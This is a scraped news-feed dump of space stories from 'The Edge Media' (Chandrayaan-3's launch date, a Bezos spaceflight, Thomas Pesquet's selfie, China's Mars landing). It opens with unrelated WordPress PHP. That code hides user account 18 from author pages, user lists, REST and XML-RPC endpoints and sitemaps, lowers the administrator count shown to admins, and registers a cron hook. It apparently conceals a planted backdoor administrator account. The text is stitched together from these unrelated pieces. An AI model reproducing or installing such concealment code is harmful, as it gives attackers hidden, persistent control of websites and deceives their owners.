add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Chandrayaan-3 likely to be launched during third quarter of 2022 : Jitendra Singh. appeared first on The Edge Media.
]]>In a written response to a question in Lok Sabha, Singh , Minister of state in-charge of the Department of Space , said the launch of Chandrayaan-3 has been rescheduled.
“Chandrayaan-3 is likely to be launched during the third quarter of 2022 assuming normal work flow henceforth,” he said.
Chandrayaan-3 is critical for Indian Space Research Organisation (ISRO) as it will demonstrate India’s capabilities to make landings for further interplanetary missions.
The post Chandrayaan-3 likely to be launched during third quarter of 2022 : Jitendra Singh. appeared first on The Edge Media.
]]>The post “A very happy group of people in this capsule,” says Bezos appeared first on The Edge Media.
]]>The rocket lifted off from a base in the west Texas desert at approximately 8:12 am local time (1312 GMT) after a brief hold.
The capsule touched down in the west Texas desert after breaching the boundary of space, the company’s live broadcast showed.
The spaceship floated down on three giant parachutes before firing a retro thruster, sending up a cloud of sand as it gently landed at one or two miles (kilometers) an hour.

“A very happy group of people in this capsule,” said Bezos.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post “A very happy group of people in this capsule,” says Bezos appeared first on The Edge Media.
]]>The post Pesquet shares a picture from the space , netizens loved it. appeared first on The Edge Media.
]]>The picture, which has garnered over 2,000 likes after being shared online, features Pesquet posing for a selfie when his friend is seen hanging upside down in the background. “When your friend in a spacesuit photobombs your #selfie by hanging upside down in the background,” wrote Pesquet while sharing the picture on his social media account.

In several other posts, Pesquet also shared videos and clipping of doing various activities in space such as dancing after a spacewalk or making pancakes.
“Spacewalk dance! Happy to have finished #spacewalk season for the moment with success. Deserves a little dance. Smiling face with smiling eyes We were not really dancing though, but purging our bodies of nitrogen!” wrote Pesquet.

The post Pesquet shares a picture from the space , netizens loved it. appeared first on The Edge Media.
]]>The post China lands on Mars in latest advance for its space program appeared first on The Edge Media.
]]>The official Xinhua News Agency said Saturday that the lander had touched down, citing the China National space Administration.
Plans call for a rover to stay in the lander for a few days of diagnostic tests before rolling down a ramp to explore an icy area of Mars known as Utopia Planitia. It will join an American one that arrived at the red planet in February.
China’s first Mars landing follows its launch last month of the main section of what will be a permanent space station and a mission that brought back rocks from the moon late last year.
The US has had nine successful landings on Mars since 1976.
The post China lands on Mars in latest advance for its space program appeared first on The Edge Media.
]]>